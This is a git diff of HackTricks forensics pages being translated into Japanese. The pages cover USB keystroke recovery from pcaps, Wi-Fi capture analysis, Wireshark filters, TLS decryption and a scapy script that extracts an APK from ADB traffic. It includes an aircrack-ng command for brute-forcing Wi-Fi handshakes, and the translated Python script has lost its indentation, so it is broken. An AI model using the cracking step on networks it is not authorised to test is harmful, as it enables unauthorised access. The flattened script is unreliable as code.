[**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 34ffca9f2..019ea9f63 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,36 +1,30 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-If you have a pcap containing the communication via USB of a keyboard like the following one: +もし、以下のようなキーボードのUSB通信を含むpcapファイルがある場合: ![](<../../../.gitbook/assets/image (613).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication: - +ツール[**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser)を使用して、通信で書かれた内容を取得することができます。 ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - - - -You can read more information and find some scripts about how to analyse this in: +以下のリンクから詳細情報を読むことができ、いくつかのスクリプトを見つけることができます: * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) * [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) @@ -40,16 +34,14 @@ You can read more information and find some scripts about how to analyse this in ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**するか、[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 2230555b0..60cef553b 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,55 +1,51 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Check BSSIDs +# BSSIDのチェック -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +WireSharkを使用してWifiのトラフィックが主なキャプチャを受信した場合、_Wireless --> WLAN Traffic_でキャプチャのすべてのSSIDを調査できます。 ![](<../../../.gitbook/assets/image (424).png>) ![](<../../../.gitbook/assets/image (425).png>) -## Brute Force - -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: +## ブルートフォース +その画面の列の1つは、**pcap内に認証が見つかったかどうか**を示しています。その場合、`aircrack-ng`を使用してブルートフォース攻撃を試すことができます。 ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +# ビーコン/サイドチャネル内のデータ -# Data in Beacons / Side Channel +もし、**Wifiネットワークのビーコン内でデータが漏洩している**と疑っている場合、次のようなフィルタを使用してネットワークのビーコンをチェックすることができます: `wlan contains <ネットワーク名>`または`wlan.ssid == "ネットワーク名"`。フィルタされたパケット内で、疑わしい文字列を検索します。 -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +# Wifiネットワーク内の不明なMACアドレスを見つける -# Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +次のリンクは、**Wifiネットワーク内でデータを送信しているマシンを見つける**のに役立ちます: * `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +既知の**MACアドレスを既知の出力から削除**する場合は、次のようなチェックを追加します: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +ネットワーク内で通信している**不明なMACアドレス**を検出したら、次のような**フィルタ**を使用してトラフィックをフィルタリングできます: `wlan.addr== && (ftp || http || ssh || telnet)`。ただし、ftp/http/ssh/telnetフィルタは、トラフィックを復号化した場合に有用です。 -# Decrypt Traffic +# トラフィックの復号化 -Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit +編集 --> 設定 --> プロトコル --> IEEE 802.11 --> 編集 ![](<../../../.gitbook/assets/image (426).png>) @@ -61,16 +57,14 @@ Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 071ac359f..e95bc634f 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -1,176 +1,173 @@ -# Wireshark tricks +# Wiresharkのトリック -## Wireshark tricks +## Wiresharkのトリック
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有する**ために、[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
-## Improve your Wireshark skills +## Wiresharkスキルの向上 -### Tutorials +### チュートリアル -The following tutorials are amazing to learn some cool basic tricks: +以下のチュートリアルは、いくつかのクールな基本的なトリックを学ぶために素晴らしいです: * [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) * [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) * [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) * [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) -### Analysed Information +### 分析情報 -**Expert Information** +**エキスパート情報** -Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analyzed**: +_Analyze_ --> _Expert Information_ をクリックすると、**解析された**パケットの**概要**が表示されます: ![](<../../../.gitbook/assets/image (570).png>) -**Resolved Addresses** +**解決されたアドレス** -Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, MAC to the manufacturer, etc. It is interesting to know what is implicated in the communication. +_Statistics_ --> _Resolved Addresses_ の下には、ポート/トランスポートからプロトコルへの変換、MACから製造元への変換など、wiresharkによって「解決された」いくつかの**情報**が表示されます。通信に関与しているものを知ることは興味深いです。 ![](<../../../.gitbook/assets/image (571).png>) -**Protocol Hierarchy** +**プロトコル階層** -Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them. +_Statistics_ --> _Protocol Hierarchy_ の下には、通信に関与している**プロトコル**とそれに関するデータが表示されます。 ![](<../../../.gitbook/assets/image (572).png>) -**Conversations** +**会話** -Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them. +_Statistics_ --> _Conversations_ の下には、通信の**会話の要約**とそれに関するデータが表示されます。 ![](<../../../.gitbook/assets/image (573).png>) -**Endpoints** +**エンドポイント** -Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them. +_Statistics_ --> _Endpoints_ の下には、通信の**エンドポイントの要約**とそれに関するデータが表示されます。 ![](<../../../.gitbook/assets/image (575).png>) -**DNS info** +**DNS情報** -Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured. +_Statistics_ --> _DNS_ の下には、キャプチャされたDNSリクエストに関する統計情報が表示されます。 ![](<../../../.gitbook/assets/image (577).png>) -**I/O Graph** +**I/Oグラフ** -Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.** +_Statistics_ --> _I/O Graph_ の下には、通信の**グラフ**が表示されます。 ![](<../../../.gitbook/assets/image (574).png>) -### Filters +### フィルター -Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ -Other interesting filters: +ここでは、プロトコルに応じたwiresharkフィルターを見つけることができます:[https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +他の興味深いフィルター: * `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` - * HTTP and initial HTTPS traffic +* HTTPおよび初期のHTTPSトラフィック * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` - * HTTP and initial HTTPS traffic + TCP SYN +* HTTPおよび初期のHTTPSトラフィック+ TCP SYN * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` - * HTTP and initial HTTPS traffic + TCP SYN + DNS requests +* HTTPおよび初期のHTTPSトラフィック+ TCP SYN + DNSリクエスト -### Search +### 検索 -If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_. You can add new layers to the main information bar (No., Time, Source, etc.) by pressing the right button and then the edit column. +セッションのパケット内の**コンテンツ**を**検索**する場合は、_CTRL+f_ を押します。右ボタンを押して、メイン情報バー(No.、Time、Sourceなど)に新しいレイヤーを追加することもできます。 -Practice: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net) +練習:[https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net) -## Identifying Domains +## ドメインの識別 -You can add a column that shows the Host HTTP header: +Host HTTPヘッダーを表示する列を追加できます: ![](<../../../.gitbook/assets/image (403).png>) -And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**): +また、初期化されたHTTPS接続のServer名を追加する列も追加できます(**ssl.handshake.type == 1**): ![](<../../../.gitbook/assets/image (408) (1).png>) +## ローカルホスト名の特定 -## Identifying local hostnames +### DHCPから -### From DHCP - -In current Wireshark instead of `bootp` you need to search for `DHCP` +現在のWiresharkでは、`bootp`の代わりに`DHCP`を検索する必要があります。 ![](<../../../.gitbook/assets/image (404).png>) -### From NBNS +### NBNSから ![](<../../../.gitbook/assets/image (405).png>) -## Decrypting TLS +## TLSの復号化 -### Decrypting https traffic with server private key +### サーバーの秘密鍵を使用してhttpsトラフィックを復号化する _edit>preference>protocol>ssl>_ ![](<../../../.gitbook/assets/image (98).png>) -Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_) +「編集」を押して、サーバーと秘密鍵のすべてのデータ(IP、ポート、プロトコル、キーファイル、パスワード)を追加します。 -### Decrypting https traffic with symmetric session keys +### 対称セッションキーを使用してhttpsトラフィックを復号化する -It turns out that Firefox and Chrome both support logging the symmetric session key used to encrypt TLS traffic to a file. You can then point Wireshark at said file and presto! decrypted TLS traffic. More in: [https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)\ -To detect this search inside the environment for to variable `SSLKEYLOGFILE` +FirefoxとChromeの両方が、TLSトラフィックを暗号化するために使用される対称セッションキーをファイルに記録することをサポートしていることがわかりました。その後、Wiresharkをそのファイルに向けることで、復号化されたTLSトラフィックが表示されます。詳細はこちら:[https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)\ +これを検出するには、環境内で変数`SSLKEYLOGFILE`を検索します。 -A file of shared keys will look like this: +共有キーのファイルは次のようになります: ![](<../../../.gitbook/assets/image (99).png>) -To import this in wireshark go to \_edit > preference > protocol > ssl > and import it in (Pre)-Master-Secret log filename: +これをWiresharkにインポートするには、\_edit > preference > protocol > ssl > に移動し、(Pre)-Master-Secret log filenameにインポートします。 ![](<../../../.gitbook/assets/image (100).png>) -## ADB communication - -Extract an APK from an ADB communication where the APK was sent: +## ADB通信 +APKが送信されたADB通信からAPKを抽出します。 ```python from scapy.all import * pcap = rdpcap("final2.pcapng") def rm_data(data): - splitted = data.split(b"DATA") - if len(splitted) == 1: - return data - else: - return splitted[0]+splitted[1][4:] +splitted = data.split(b"DATA") +if len(splitted) == 1: +return data +else: +return splitted[0]+splitted[1][4:] all_bytes = b"" for pkt in pcap: - if Raw in pkt: - a = pkt[Raw] - if b"WRTE" == bytes(a)[:4]: - all_bytes += rm_data(bytes(a)[24:]) - else: - all_bytes += rm_data(bytes(a)) +if Raw in pkt: +a = pkt[Raw] +if b"WRTE" == bytes(a)[:4]: +all_bytes += rm_data(bytes(a)[24:]) +else: +all_bytes += rm_data(bytes(a)) print(all_bytes) f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有する**には、[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index 5e64c8a36..ec9e38d14 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,87 +1,84 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# コンパイルされたPythonバイナリ(exe、elf)の逆コンパイル - .pycから取得する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
